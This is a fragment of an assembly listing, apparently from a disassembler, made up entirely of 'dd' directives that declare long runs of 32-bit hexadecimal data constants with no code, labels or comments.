		dd 70F522Bh, 544465C5h,	3B000CB8h, 0E179D1A9h, 7B2EC9DEh
		dd 5300C3CEh, 1B6D4098h, 4E98C6h, 0A6A720Bh, 34B50618h
		dd 0C3B7E101h, 98F16070h, 125B1D20h, 47F045EEh,	0FE7DD288h
		dd 93E1D5C0h, 990F1E9Fh, 8047D937h, 79F94FC5h, 67FE38h
		dd 64D7FC3Bh, 0AF966AA7h, 1B0B2704h, 7C90C71Ch,	0C06E324Eh
		dd 45E0C27Eh, 0A096CB5h, 231FB0FFh, 0FFBBB90Ch,	0E1D288E0h
		dd 5A7FC5h, 0A71D35A2h,	2C38CA5Bh, 0A6D03F50h, 4AA1ED60h
		dd 18DCC3A2h, 685FADCFh, 0F144B07h, 39A0442Dh, 0D4DF0F1Dh
		dd 45E7002Ch, 0A0C40D2Eh, 2B41BB8h, 387DD601h, 0F020C39Bh
		dd 99834C25h, 3D20908h,	0A1354480h, 9801705Eh, 8A7ABB5h
		dd 69C82271h, 670C933Bh, 0A829A0E3h, 0AE98B7BFh, 0CF0C3100h
		dd 0E40A7919h, 78E93CF3h, 75E51B80h, 85EEC9E6h,	0DD4F5F00h
		dd 5E9982C2h, 0A00B002Eh, 3BB03CCDh, 0BAF0FC52h, 0BC15AA3Eh
		dd 0EFC787B8h, 95F011CAh, 3F5D99h, 0E8A58B13h, 0B9103C0Eh
		dd 0AA00F8F6h, 0C14CE30Dh, 0E67CB0h, 546EE8CFh,	5097CC2Ah
		dd 0D3C47E00h, 0BF89096Fh, 0D57B00D4h, 0B9C68404h, 0AC00D26Bh
		dd 44DC91F1h, 0F10F2E20h, 0AECC2849h, 286761ECh, 804AD7DCh
		dd 46410219h, 60A5A342h, 53BFA9CDh, 7724E16Bh, 6300C218h
		dd 8EA9468h, 92B9C01Bh,	5ED344CAh, 0A0E2E907h, 6F50E053h
		dd 0C2D23A86h, 0D9E73558h, 75D03F40h, 56103Eh, 0C134B774h
		dd 17167D6Dh, 0CE3FF0h,	940E330Eh, 450029EDh, 0EFC8846Ch
		dd 0DDEBC1h, 7A91C3C5h,	3C120B95h, 806D623Ch, 0D04D4ED5h
		dd 2A51B0BBh, 0E88C8C69h, 154714B8h, 6A00D471h,	9B98D6FCh
		dd 0B20AFEE2h, 449F29BEh, 0D943B080h, 0EF3C4h, 7F8CE4D1h
		dd 8AB2DE2Ch, 0E195BE00h, 4D4354F4h, 0F91B0085h, 0AD673781h
		dd 0FE001994h, 715C415Bh, 743E9A9h, 8D86AB84h, 0CE770329h
		dd 73746DE0h, 0F30FBD03h, 0D863072Dh, 388A2C6Eh, 3DF06C30h
		dd 92005C72h, 76667128h, 47EA4E0Eh, 22C4EA00h, 0F10CABEEh
		dd 0C37430D7h, 0B9EBF390h, 3C9D4Ch, 48941D4Dh, 1229F4Bh
		dd 0B7D0AE56h, 319D8EDFh
		dd 0D313C8B8h, 0C6BEEC00h, 0A85715C7h, 0C8C00EF4h, 83E0417Eh
		dd 715D6A84h, 0B4543E00h, 2A66C33h, 7F0D001Ah, 0EC2106F6h
		dd 447136E9h, 904B8000h, 57A247DFh, 8D9A006Ch, 71F5F9A8h
		dd 353EFEECh, 7E7380C7h, 5B42DD08h, 0B7F6A6h, 8DE90253h
		dd 56DC12BAh, 765EF50Ah, 0AD8098E6h, 62E45828h,	24714C05h
		dd 404AFD1Ch, 0DE343104h, 0B141651h, 28890E1h, 0F0586CC8h
		dd 2BB08061h, 1AFE9CFh,	0A3FFEB6Dh, 0D05703C7h,	9924AB85h
		dd 1D00239Fh, 0F3BEFA26h, 19E330B7h, 6BDBFD48h,	0B69C9A00h
		dd 446F2A70h, 0C0FAF8h,	96E68EB5h, 0EEBA8CABh, 0CC513A00h
		dd 0FF408DA2h, 793B189Ah, 84B29877h, 3BAD600h, 1163809Dh
		dd 56CA4F4h, 0CA629485h, 5100032h, 6F81FEB3h, 0A0062F28h
		dd 0BF00CF98h, 5E15DCE0h, 0CF4919h, 1CA198D1h, 39553EBAh
		dd 0E101E4EEh, 0F586745Bh, 0D040A928h, 0EC1C2970h, 0C0555030h
		dd 0BB200057h, 3A8CFDC1h, 6F4C17F1h, 213009Bh, 3238F9F4h
		dd 5CBD2C43h, 23B00108h, 0CCC0AB44h, 291D92E1h,	5B00FBA7h
		dd 0A6643EC7h, 0F1460034h, 0D7890C40h, 4FBAB636h, 74011976h
		dd 0E3CE1309h, 2FCC4CF4h, 9C310EA8h, 0A1209444h, 38996C32h
		dd 22617918h, 110E68h, 4B28A967h, 0DEBB85Eh, 0EDB4E200h
		dd 159C3724h, 4F49C748h, 6E832046h, 53018BFBh, 0A7A6F8D0h
		dd 37D8EA0Fh, 319100A8h, 0E33F857Ah, 4C3EF18Fh,	5338044h
		dd 1D2ADF4h, 9C420093h,	58B1BEA4h, 0A6503CC1h, 290EAB64h
		dd 0A033503Bh, 77780443h, 0A74A0535h, 0C32F7961h, 0A900A3B7h
		dd 0E16C4898h, 3B8CEF24h, 4100B8C9h, 7175C7EEh,	1600DAA2h
		dd 0E418D2D8h, 770EF2h,	93CED7CBh, 1FC73086h, 0BCF76E72h
		dd 465303D8h, 0DB82FA85h, 9D649837h, 0C8A029F2h, 5C730310h
		dd 8000EEB0h, 254E943Fh, 90931Bh, 77DA4F87h, 32A82A30h
		dd 10F17128h, 22A13826h, 4C1D5B16h, 60070F8Fh, 81F15C46h
		dd 82F40715h, 805D7937h, 9DA968F0h, 0DC97FA00h,	87BFF68Dh
		dd 821B0F63h, 90836A8Fh, 1812C82Dh, 0C00AE77h, 7136C1FCh
		dd 0BE2E002Ah, 551F53D7h, 1A0024C0h, 0A9E614DEh, 4CBF699h
		dd 6DD3BBD5h, 113C8010h, 0A80087FFh, 0E4C1E592h, 0E62EDEBAh
		dd 2DB300F3h, 0A92167C0h, 2F26FFE1h, 620095EFh,	6C5891FAh
		dd 0C33C1C26h, 6DF040F9h, 6B6AD89h, 959FA600h, 1CBA529h
		dd 2CE00114h, 0F52162Eh, 58C980B2h, 275B401Eh, 0DFCA1573h
		dd 0E3CE8B6h, 58294718h, 0AB046EDEh, 0BAF17D7Bh, 0D4449Ch
		dd 3F9EA959h, 0BF38446Ah, 2F0739h, 0AFECA3E8h, 5CDC9DF9h
		dd 0C2263131h, 23610009h, 0B505E3A9h, 9EDDE100h, 11EB96DBh
		dd 477B2D02h, 0FD39C97Eh, 81CE193Eh, 2833CA17h,	48CAB94Ch
		dd 50B03B94h, 7E588C1h,	0B5B1513h, 0EF6E6793h, 0D248F880h
		dd 3F033532h, 0D030E828h, 0DF98002Eh, 9EF6C339h, 26006D21h
		dd 8BB8667Dh, 0CCA11Dh,	0C33B46C0h, 8A1B3035h, 23376B00h
		dd 79319DA8h, 157AEA71h, 0B8ACD310h, 6B85047Ah,	80FD893Dh
		dd 0B35BE28h, 577D6E01h, 0AA76D5DFh, 7901930h, 87AF488Ah
		dd 0D18B309Fh, 400B4F4h, 0BEDAF333h, 0E8963B23h, 4902Fh
		dd 3EAA21ECh, 0E11E5172h, 0F5159B1Dh, 0DE40F80h, 0B18641h
		dd 0ED7202E9h, 0C38F183Bh, 908CE03h, 0B0C9E79Eh, 0B05E6BAh
		dd 1783DE76h, 1C5F320Ah, 0F87980AEh, 0D7A1A49Eh, 53ED4501h
		dd 1BF3DF67h, 79788FD4h, 0EFD300EBh, 7F415040h,	2300B4C4h
		dd 0C9C1C2Ah, 744D6771h, 637914h, 549B6C96h, 4C778CC3h
		dd 0C2733600h, 9A392F7Bh, 6B4B001Ah, 0F9E98ED7h, 0FB01DD10h
		dd 9DAE734Eh, 17F0C825h, 75F87DE1h, 0E3D13ABBh,	0CF48DA00h
		dd 9D378895h, 8AAC2A00h, 6E6F15CBh, 2E44A0B6h, 0CFCE0070h
		dd 0C0FAA167h, 0F200EDE4h, 98EFE712h, 4D0AB9A5h, 0C700F6E2h
		dd 0AC327377h, 1338AA3Ah, 0F0450072h, 912D849Bh, 0CFF30001h
		dd 0E83CEC09h, 7D0097F1h, 458AF64Dh, 0F0AA9EBh
		dd 53ABD112h, 7107D3A0h, 3700AAAFh, 352A4355h, 0C08C3BC5h
		dd 89731D18h, 6A009005h, 7B6E11E3h, 0DD70FDh, 0A9F12E4h
		dd 6F6782E1h, 3E595000h, 65782147h, 0A10F00DCh,	0E5245EAh
		dd 0C013C69Bh, 1807EDD2h, 2FD7BCBFh, 8BE1801Eh,	0CA86EBDh
		dd 40D7536Dh, 0C9009C30h, 90F406E5h, 25F193h, 593B9BB6h
		dd 5A291389h, 0EED7BD18h, 35D258h, 18CFD619h, 404852A8h
		dd 2E30C154h, 612C3D00h, 8F29F2DBh, 326E39A5h, 5BD26A0Dh
		dd 10B017A1h, 550C5702h, 0C6288218h, 1FCCDFA8h,	56E4F7h
		dd 0C087FB54h, 0D900B013h, 0C902B6C5h, 739801h,	0D5E4B566h
		dd 0B2E1608Dh, 0AD3B9400h, 0A576A4C6h, 0A83103F1h, 0C9C70BB6h
		dd 0AA88E098h, 0AEF5E600h, 0E82A2F0Ch, 86301BD7h, 0EDE33801h
		dd 67E006C3h, 6800757Dh, 0A789341Bh, 26D8DB4h, 0BEEE38ECh
		dd 104266E3h, 0DF19820h, 83F7CCD6h, 4CDD9188h, 97F908Ch
		dd 0DA2301EFh, 3D41C5F2h, 2BAC0ABh, 7E196F00h, 9079E147h
		dd 10894824h, 0CB307C33h, 100086C3h, 0E58EF532h, 0EE0EA4h
		dd 0CC602F1h, 6E3DB4BCh, 61A9A000h, 99C14104h, 6993014Ch
		dd 1C1B1F83h, 0D9F6C779h, 0BC0AD0E7h, 0A0E23230h, 3F6483h
		dd 31623AF8h, 0EEEFF5DDh, 0CF5F541Fh, 2818C318h, 0DBC206F6h
		dd 0D9ED96C6h, 0D2A78C07h, 0C0805282h, 0B02E5D7Ch, 27570099h
		dd 1E787D98h, 9124EA4Eh, 6A0258E4h, 40F7344Ch, 0E441840Bh
		dd 4F4075Fh, 91E02C38h,	0FD32974Fh, 7FE05096h, 0F607DE7Ch
		dd 0FC7348D9h, 9B446BD0h, 3FE626CDh, 0A5E1C25h,	826C7FA0h
		dd 0E0B39EAFh, 26D5E3FDh, 6C7749h, 0E12A8BF6h, 0F07A5343h
		dd 48031700h, 0C7C0D8BEh, 0E93B891h, 9F68DB4Fh,	98107349h
		dd 42005A84h, 28406920h, 0FC31E0h, 91E8B02Fh, 2BC204A7h
		dd 58CE4D1Ch, 0C73C2180h, 33A579h, 80EB84B1h, 0E6C13799h
		dd 12690795h, 39029870h, 323831BFh, 0D06F94A0h,	0C10364AEh
		dd 0F3D6A84Eh, 7893F9EAh, 8F6D60h, 7F027CBFh, 3C527557h
		dd 0CC9D0E00h, 6EA786E2h, 364E2A78h, 0CE7A00ACh, 0BA7F8309h
		dd 78950887h, 94AD0296h, 0A31504DEh, 24B8D660h,	0A5696E00h
		dd 7FDBC556h, 5979045Fh, 91C3D4B6h, 8037BBD8h, 0CD955BF1h
		dd 4B4818h, 0D4754CB5h,	0A906026Fh, 607D307Ch, 4E9BBF0Fh
		dd 80099377h, 0D98030EFh, 31580036h, 0CDF7F214h, 0B4075FB3h
		dd 0A6F4BD1Dh, 9B00F6F5h, 8563EB40h, 9A81024Ch,	88BFAFE1h
		dd 0D3052068h, 8050DC3Ah, 60498EECh, 1277CD3Ah,	7A94F81h
		dd 60109ED4h, 7250E329h, 6D0A2898h, 0E459A478h,	0E2887100h
		dd 2440FD83h, 0C1743B0Bh, 0C4DC4232h, 8A6291A9h, 0E2B60471h
		dd 80C04502h, 313C1E7Dh, 0B90BEBB6h, 80A17020h,	0D75DF28Fh
		dd 0E2F6006Fh, 0ADBE2380h, 353B4147h, 7A720363h, 0A00E36A4h
		dd 26494BD3h, 20AC0Fh, 88BB9303h, 400F8AF2h, 6109B041h
		dd 387D905Bh, 8FEEF883h, 0A100E171h, 4E3CAEF6h,	86D2B8h
		dd 8F9E6CBDh, 9587D525h, 354868FAh, 9655006Ch, 0B4C9A216h
		dd 1BB25880h, 1561F840h, 0D45B824Eh, 6424F024h,	22B8D363h
		dd 0EA0F7698h, 2701FC90h, 92A6D3DFh, 84408DAAh,	13685B0h
		dd 0E42755Ch, 60DED0A1h, 2F135610h, 40404A76h, 0BAE377ADh
		dd 4C1A4878h, 43A08E00h, 0AC02E290h, 0A47A0329h, 9DE1F518h
		dd 0D946129Ch, 0DD4062C6h, 8A6F0440h, 35551A00h, 0E1DA76F1h
		dd 44391201h, 872B01FAh, 0C8DF3DD2h, 0B3003B06h, 0FEA81194h
		dd 26250272h, 0A3E82880h, 0B80704FCh, 0A75090EEh, 0F3037238h
		dd 0CDFB0E14h, 8C49EDD1h, 196414F1h, 11FBD851h,	0E87EC01Eh
		dd 84EF6D2Ah, 56F20E01h, 74F961D7h, 4C8680D8h, 571CB048h
		dd 0FEEC49F7h, 0AF14800h, 0DD35BB9Ch, 0F400F9DCh, 0B4036C8Dh
		dd 4198059Bh, 8111D80Fh, 49CF762Ch, 30505090h, 90A8E6B9h
		dd 0FF090BA9h, 842A4A83h, 0B4DC6DBCh, 465D0053h, 0B2AF1925h
		dd 87128A2Fh, 9026FEF0h, 0E49E00B0h, 0AFDBF7A9h, 0C40034B8h
		dd 5ED18DD4h, 25C8869h,	4A580E04h, 5C413068h, 7AF7706Bh
		dd 254E859h, 0C743BD9Eh, 9000D5E6h, 0A7417744h,	88556430h
		dd 9AF1229h, 837F303Ch,	3B20A82Fh, 489D1393h, 0F9A3E018h
		dd 9C053B0h, 21D325FCh,	5EE3EC00h, 113D80A7h, 0FFFE00CDh
		dd 4FF6BF13h, 779E1D1Ch, 3FC800D7h, 26F0C02Ah, 56DB33Eh
		dd 14FB8A67h, 647FC882h, 0B0D801E0h, 0A039AEE1h, 93542444h
		dd 0DFD58200h, 996301D2h, 0B1009262h, 6DF40BF4h, 5410800h
		dd 122CC1A9h, 0EB4094EAh, 0C06E17B7h, 0C6D00A71h, 0E1C088B1h
		dd 8F76DE09h, 0DCCD2813h, 1E74986Ch, 42898D59h,	9693D69Ah
		dd 416110C1h, 20D1CA5Ch, 0D400C710h, 0BCD8DEB4h, 712088AFh
		dd 4E5D0237h, 6E2AC665h, 28917066h, 31DB6B00h, 3694BF4h
		dd 3E5C2719h, 0D9CBC691h, 6C83D5FAh, 0B81F2FD2h, 1680AA7Ch
		dd 0D99A9FF2h, 0D84C03ACh, 0EE53A070h, 175A02A0h, 90A648h
		dd 0DC719C0Eh, 48992D84h, 9052DB67h, 112958C0h,	99070AEFh
		dd 0DEDCBAB6h, 68C4B114h, 4173A0C0h, 0C0B09A3Bh, 2EAAE150h
		dd 4935831Eh, 0FC87D85Fh, 28884200h, 3020E7DBh,	0C79D2C3Dh
		dd 661364h, 3CE5E4B4h, 2291147h, 0AE842864h, 24C245C0h
		dd 0B020AA5Fh, 0C10E2C00h, 0A324A7Dh, 758BF3C5h, 791A008Ch
		dd 348948F5h, 0F0CCBC25h, 6096FE2Eh, 69FFA16Fh,	0B8A236F6h
		dd 0B415744Eh, 80BB47h,	991E6B2Ah, 4878447Ch, 1F0068FBh
		dd 5220E1A8h, 0CF3F965Bh, 0C31001EAh, 0F01961A1h, 8481828h
		dd 287CD4C0h, 5602943h,	23A44A60h, 0A8DC02C8h, 168D6F42h
		dd 17118460h, 72010D2Eh, 92B1D100h, 7A34BDEEh, 605CB186h
		dd 6005122Bh, 0F47E3700h, 0ED2FCEDAh, 70074866h, 7C50C05Ch
		dd 43A30088h, 102DFCAFh, 2E330109h, 0EAC4495Dh,	0A01CCBA6h
		dd 38DDFF57h, 0A8609725h, 30C40680h, 2C075494h,	40199575h
		dd 14DFBBE8h, 0CC9C5EADh, 4F397046h, 88800825h,	14E93C97h
		dd 0FE71EE09h, 93B4003Dh, 90747C58h, 0DCDA0AD4h, 9FB8C4ABh
		dd 0E91C01C2h, 0BA1B6860h, 97BB0351h, 0C8D3B14Fh, 49583592h
		dd 0B0539850h, 0E69D8900h, 73B1547Fh, 0DC7BD304h, 18A011B4h
		dd 0FEC228F5h, 154B0A88h, 12FC5246h, 0F00C896Dh, 903E57BBh
		dd 0E27C8019h, 3AD296F4h, 0C3F50335h, 0D711A78Bh, 906867AAh
		dd 153E5938h, 0A00A0B85h, 60980DD0h, 0A99AFC00h, 9B4F00EBh
		dd 6B710815h, 5B014D74h, 9E0E3A5Dh, 4430B7C7h, 0F2661EECh
		dd 0A2CE4F25h, 5A4144C0h, 5509263Fh, 136954Ch, 99748738h
		dd 50D31BC8h, 77DCCCh, 0AA2BB8DEh, 0F5CD1EB7h, 0FDB91400h
		dd 0E02E292Ah, 66600979h, 9C6C6730h, 8D0D924h, 851E2000h
		dd 26A8B4F9h, 81D480BFh, 305B249Eh, 884C20DDh, 5C30DC4Bh
		dd 1619564h, 81A79D11h,	3F8A1D7Eh, 646208E1h, 0C90D052h
		dd 48FDC25h, 31C607C2h,	782F2848h, 18BD8200h, 72627B0Ah
		dd 0DC6C507Eh, 8440A0E1h, 92983E2Ch, 90286025h,	7B6D01B4h
		dd 2536D1FCh, 980DEC64h, 0D909887Fh, 0C09EC0D8h, 0F6B6BCh
		dd 536A024h, 0D5D779Bh,	3964F14Dh, 67F980C0h, 287D9EEFh
		dd 588C1694h, 5C8209Dh,	618F284h, 67CEC4B6h, 749473h, 0C274319Bh
		dd 1010F981h, 1D03DB75h, 0E46B6AA2h, 0DB0379C1h, 196090CCh
		dd 9B4968C2h, 2E040188h, 9F6E479Ch, 2DF3F0h, 7AC50928h
		dd 0F7A06124h, 4CFE9509h, 59AC0142h, 50F4875Fh,	9FA71246h
		dd 70F0C754h
		dd 5EAF4E37h, 0B1071212h, 0A445808Eh, 355FD080h, 3EB6AD1h
		dd 9A18DE60h, 0FA0F6430h, 1210B66h, 40A0B8C4h, 0D56CD46Eh
		dd 88E84Dh, 365BAD96h, 1F3817Dh, 0EB3F9F12h, 504C9AEEh
		dd 645F31C0h, 90F4E150h, 226BD25h, 4A7E4E2Ch, 4F404F4h
		dd 0DF250C0h, 0CD44248Fh, 1E5B832Ch, 3001C002h,	9ABCA97Ch
		dd 0A0EA3019h, 3F263D98h, 888CB863h, 905DA468h,	0DEAB5050h
		dd 8D3C0121h, 2C0666C4h, 0D3C840F2h, 8CA358F0h,	0CFE712C8h
		dd 0C0A89099h, 390004A4h, 71B2A47Eh, 0C033124h,	0FB0FDE1Bh
		dd 0D20EA520h, 0BA87D8E8h, 41E45970h, 346E4ED6h, 300A598h
		dd 9D56C7D0h, 0C2376CA4h, 0CE19118Eh, 6A250C60h, 0FFC04409h
		dd 52B6000Dh, 0B03F4701h, 53740064h, 965E16E8h,	7E496734h
		dd 540E18D4h, 37AD4B71h, 0D1988081h, 0C0C1E4B0h, 3B1686BCh
		dd 945F9843h, 382558Eh,	29BE9D2h, 0E129C99h, 7460605Bh
		dd 0F848BE1Eh, 14962CF8h, 91766981h, 0E1CC32F7h, 0B8A572C4h
		dd 5E0A505h, 0A37F6A39h, 42A90020h, 5CD525EFh, 874901E1h
		dd 0F698BFB6h, 0F39DF066h, 0CE61B00h, 6BA26373h, 885B0032h
		dd 87B3CFD5h, 2092CDF2h, 4DD4380Bh, 0E3A08386h,	2C80EDCh
		dd 110026E8h, 0F21DD9B0h, 2D0C3090h, 3929D392h,	7E600234h
		dd 0EEF5E4DCh, 23EB1066h, 31C4994h, 5DADB5D1h, 8F89882Fh
		dd 9B1C003Ch, 0EFE842B7h, 0B5267A4Eh, 9082848Bh, 9CEA25BFh
		dd 0DB1D0AF8h, 9DCA203h, 0E8657141h, 408E5C02h,	0ABC6882h
		dd 0A4D84966h, 7850007Bh, 880C98A9h, 0EE058A9Eh, 433CAF4Dh
		dd 57154080h, 71E7607Ch, 0AC90DDB8h, 0E56CCB00h, 9E1EAB74h
		dd 34C9161h, 0E2DEC0B2h, 0C1D420E5h, 7B01B7D8h,	72756E43h
		dd 9450CA16h, 591AB194h, 0DC5338FAh, 8897B616h,	702A0130h
		dd 6F079C27h, 0AEEC23CCh, 1F03E470h, 0C8CE2CFDh, 1802CBA0h
		dd 0D44878CAh, 8F167E27h, 44209BD8h, 0B069DDDh,	3B4FED49h
		dd 40B4D80Eh, 361C00D2h, 63989FA9h, 0C0007BE2h,	0C5DE119h
		dd 0FF6402h, 668F3F29h,	4B6DA378h, 4E00FC7Ch, 2174BDD8h
		dd 12DA4D84h, 3AE72Eh, 0DF47448Fh, 0E4A0F360h, 0C41DBE3Eh
		dd 27870EF9h, 5490E668h, 919AF1h, 0A8E9F6FFh, 3A43BF6Eh
		dd 0D49C7600h, 0E206D3DEh, 0B70C0E9Fh, 66E149A7h, 575C7091h
		dd 0F703C0D0h, 0BF00DE89h, 0FED6D7BCh, 9E55F26h, 0DCD38B16h
		dd 499BF400h, 0F802B277h, 46DA052Dh, 296E174h, 4C662431h
		dd 15AA0596h, 0FAA84096h, 0C66320E8h, 7F91E060h, 947CE473h
		dd 0C0C19288h, 17F12D5Ch, 0CFA01903h, 98EF4681h, 4A3C5E31h
		dd 0FD0006Ah, 8EF3C8AEh, 22CABCA8h, 78FBFE24h, 0CE60B989h
		dd 0ECA88148h, 26A8CE70h, 48C17D6h, 8BF20A23h, 0D29700B0h
		dd 572FCEE4h, 782FB0D7h, 0CDBA00EBh, 82983329h,	5402B1C4h
		dd 0D8A34E1Ch, 94462E5h, 3224101Ch, 6AB70C86h, 18996683h
		dd 695C4130h, 2D52C896h, 2C80372Ch, 2E0F6659h, 430D1C0h
		dd 710C75E2h, 969EE65h,	10ED033Ah, 0FC189C4Eh, 9F61FD04h
		dd 36294C27h, 332FA307h, 0F49C84B8h, 44F8985Ch,	42CCB201h
		dd 0EFAE5946h, 2C60A037h, 0BD5A6875h, 0BA4E0609h, 2F1A047Ch
		dd 0B9CCC0BBh, 6B18B4A8h, 6C81D3ADh, 5A570473h,	0F55CB325h
		dd 5D3438D8h, 73904CE0h, 4E8A520Dh, 0B9CD39F1h,	0D1DFF0h
		dd 0E7B4312Fh, 5F5C575Bh, 149A812Eh, 1A8D6185h,	68D59081h
		dd 0CE122437h, 0D07C1283h, 903C1564h, 50EABE31h, 8038F5B6h
		dd 8B5D9300h, 0DB07CF6Dh, 2F1D9F90h, 3700B84Eh,	0E089253Ah
		dd 0A4D4000Bh, 9CB44910h, 311319E7h, 4C708B76h,	2536AFBAh
		dd 0E0B2986Ch, 7E2A2810h, 0FDF3BA16h, 0FB5E4440h, 10B14CFh
		dd 555CF6A6h, 792D1C16h, 0E6B90004h, 0E911438Fh, 953C019Fh
		dd 3DB07A3Ah, 17C2DE2h,	92FA6178h, 0C2C814B1h, 20DF4816h
		dd 0FC5CFF02h, 345825D2h, 300166FEh, 87719B1Eh,	4C382B3Eh
		dd 71739A0h, 9E093F00h,	891514DAh, 40874EBEh, 66578D98h
		dd 26261B72h, 9E007032h, 0AD489AE1h, 0E018BEA1h, 4D834EECh
		dd 0C6069C0Fh, 7AAFC0F4h, 39E70BDAh, 0C238B5D4h, 0C0168927h
		dd 1B569125h, 405AAA80h, 0F8607237h, 34F700A1h,	2C75AA73h
		dd 193086FFh, 0A62EAC01h, 1DEE00F8h, 0FAB93D3Fh, 0C5171820h
		dd 0B0940783h, 1B0060DFh, 64149DCDh, 0DC926299h, 0D9770C0h
		dd 164B122Ah, 8498D6E5h, 0C044CC5Ch, 0B790CC0Ah, 315068B8h
		dd 90A812F6h, 0A61480B4h, 130938A7h, 0A0ACBBB0h, 1B9CF780h
		dd 4A8C90EFh, 25F82C6Eh, 22282095h, 602E653Dh, 0DDE32176h
		dd 0D7011880h, 95B10626h, 0A438307Ch, 30365AA1h, 31070CBDh
		dd 5EF952BEh, 0D6D3A891h, 0BC80E038h, 9EEE3FD8h, 0FB93910Fh
		dd 9AD2EB38h, 75186038h, 73AA09B6h, 20937F87h, 0CEEB44B0h
		dd 99C5A51h, 0D36801E0h, 0D64C6C58h, 55D7B880h,	10C90E0Bh
		dd 0E11283D5h, 2B8800DAh, 0A3006C8Ch, 325F6DB6h, 0BE9F0681h
		dd 6485A5C4h, 90ACDCCDh, 0E00AE517h, 0C5680D0h,	0CEF82C01h
		dd 29C04E40h, 0C2EA478Bh, 3D8CF54Dh, 0AC2601A1h, 5DA43D24h
		dd 8A007827h, 0D9729E60h, 50974EEAh, 0DD12335Fh, 7F933770h
		dd 0E888ACD1h, 735B04A9h, 9FB7D830h, 345D3920h,	3A12A081h
		dd 61BC689Eh, 0A0703838h, 7538FF51h, 0F4DF0060h, 0CBC0EDCEh
		dd 0DE00F3BCh, 92CC61Ch, 9710801h, 0A4C3AB2Eh, 1BCAD0E0h
		dd 0DE047F01h, 49A30CAFh, 10B97074h, 1E3D206h, 431CA437h
		dd 38246373h, 9649093Ch, 7CCEBAD9h, 3675301h, 69B1B2E1h
		dd 252F0474h, 442B1129h, 80C31207h, 0A878CF75h,	24B98906h
		dd 903FE3h, 0D8BA3313h,	3623AFDBh, 3B0D8400h, 7C7DD1ADh
		dd 0C477B85h, 19B351CAh, 0FC07A430h, 3E84450Dh,	0CCDDCE21h
		dd 0BC6803CFh, 419626F8h, 0ABF673A0h, 7F2E8500h, 7DE6FD9Dh
		dd 0EEE42543h, 0C86208CAh, 0B804A4C6h, 0E3E44EBAh, 1DE280FEh
		dd 5D004DE9h, 0EB4632C6h, 4DDF3A99h, 145FA46Dh,	20044824h
		dd 8047A1BEh, 89F68C08h, 7844641Ch, 0AED38541h,	99DFD2AAh
		dd 97C072E6h, 554B073Fh, 24EE3BECh, 6D30C0EFh, 2A09629Fh
		dd 90F0AED4h, 0F6FE7238h, 14A29528h, 2D079239h,	47C54B00h
		dd 0A9AE0BC1h, 48EFE45h, 84D1CFC5h, 0E84B370h, 0ABAAB732h
		dd 5158296Bh, 0E463C584h, 651854ACh, 45E037F9h,	0F6D60074h
		dd 404CD52Dh, 10023F0Fh, 1227A37Ah, 0F968E01Eh,	951D0020h
		dd 0A6D25304h, 720A1530h, 9C310A58h, 1EECFC00h,	0E66BC62Bh
		dd 0EA7D742Dh, 873F0071h, 0DC459C59h, 4A1E6A31h, 80C74377h
		dd 7F706F1Bh, 7988DD6h,	6DE9ACAh, 890A981h, 96124EAAh
		dd 98A28E8Ah, 0F400804Ch, 3CFEC7E4h, 22008361h,	0D7EBD1F3h
		dd 0F00FDFh, 992E31E1h,	1D19A6DEh, 68B8A016h, 291C83h
		dd 5AA13FA0h, 0E0678E86h, 60922C24h, 156EAD80h,	18943C25h
		dd 19FE5F9Fh, 0B3007A4Bh, 0F1B6F238h, 4E5FC25h,	5620EC70h
		dd 7CE80DFh, 0AC01E694h, 0E4793A84h, 2DD44F31h,	9702772Bh
		dd 0C9DD7004h, 0FAEEE888h, 0A8DFE25h, 0C29FCA0h, 0A823EB84h
		dd 18B2B085h, 0F507D848h, 0AAAA8760h, 406512B5h, 0E05DFBCCh
		dd 5601439Ah, 5C6DE62Eh, 0FC50299Dh, 3CED7Bh, 797AD3B4h
		dd 0DCCA8599h, 48B789D2h, 1A792700h, 0C2C6FAEDh, 0D12C96EDh
		dd 0E4B5C28h, 0F717A6E7h, 0CF21E84Eh, 8E353DEAh, 0F07C26h
		dd 0FC337425h, 0F6230129h, 548AD95Ah, 2E8F21E5h, 0C068C00Eh
		dd 0F92A57A4h, 0E4B100BEh
		dd 0C6D6073Eh, 1D04D45Fh, 0DCE378C0h, 0C762D0F4h, 0BF94FE96h
		dd 0AC52B9C9h, 818820CBh, 31053FA8h, 0B080B031h, 0AADF2766h
		dd 0F54D6E7Eh, 949A076Ch, 0D800E9B3h, 15E205ABh, 2444B6D7h
		dd 0CC633051h, 5D2D2800h, 0C023FC39h, 0E3003C92h, 79D782A1h
		dd 9AC9124h, 9C477EF8h,	68D06042h, 60BC3890h, 367B1E60h
		dd 895D001Ah, 4A58EB47h, 0AEEC3986h, 327D8801h,	8EAC0CC5h
		dd 5244A981h, 0CC3E5CA3h, 8601B453h, 7F7DF549h,	12AAB4Ch
		dd 70F3A850h, 0C4D8E707h, 0EB00404Eh, 90D4385Bh, 3AFA6h
		dd 9E28FBB9h, 85C2FF9Dh, 0E0D28690h, 0A00278E3h, 0E20A83CBh
		dd 3103AC5Bh, 8AB90B85h, 7185C96h, 0E0D7F5EFh, 0F00DE079h
		dd 0F4000FE4h, 0F2D4A1B0h, 4AEC6A80h, 2844D031h, 80EFBE95h
		dd 0F8FECAD1h, 5A6385h,	9DA71310h, 6B65B29Fh, 273F2404h
		dd 0F8C0F6D9h, 0EB482566h, 0DB2B5440h, 2F220372h, 0B211962Eh
		dd 8EC8E5C0h, 48541B27h, 2D891EACh, 0DFF8F90Ah,	89324230h
		dd 750ACADh, 4E69B61Ch,	0ADE2026h, 0ED1DD223h, 0A13024C5h
		dd 4102F91h, 0F7EAF3DBh, 8000963Bh, 5C952704h, 5C907C44h
		dd 0BC517BDAh, 0F4C461C8h, 0B0662ECDh, 358F4A41h, 2F60A7F8h
		dd 74B8206Fh, 180311FFh, 48DE6632h, 432E8871h, 6800C936h
		dd 1A6241FAh, 8C8B9D7Dh, 890E68C4h, 0E039080Bh,	0C0148E09h
		dd 44D43EEBh, 81BB3F81h, 0F830E207h, 0A71D43F9h, 0A53E4710h
		dd 5B70842Ah, 0D2A3D0C1h, 0CAFCE12Ah, 6A4274F1h, 0D250E05Eh
		dd 16DF137Bh, 24C05FAh,	3C9CA5BFh, 0F4005B7Ch, 0C3D903B5h
		dd 0CC940B35h, 9044F2B7h, 0CDE29D00h, 2FCADA6h,	98594BB8h
		dd 0BC0035A8h, 0E129E65h, 754E4973h, 849C033Bh,	0F658924Ah
		dd 81633DF9h, 5BA17831h, 0C45016D2h, 4B878A01h,	3A208C7Fh
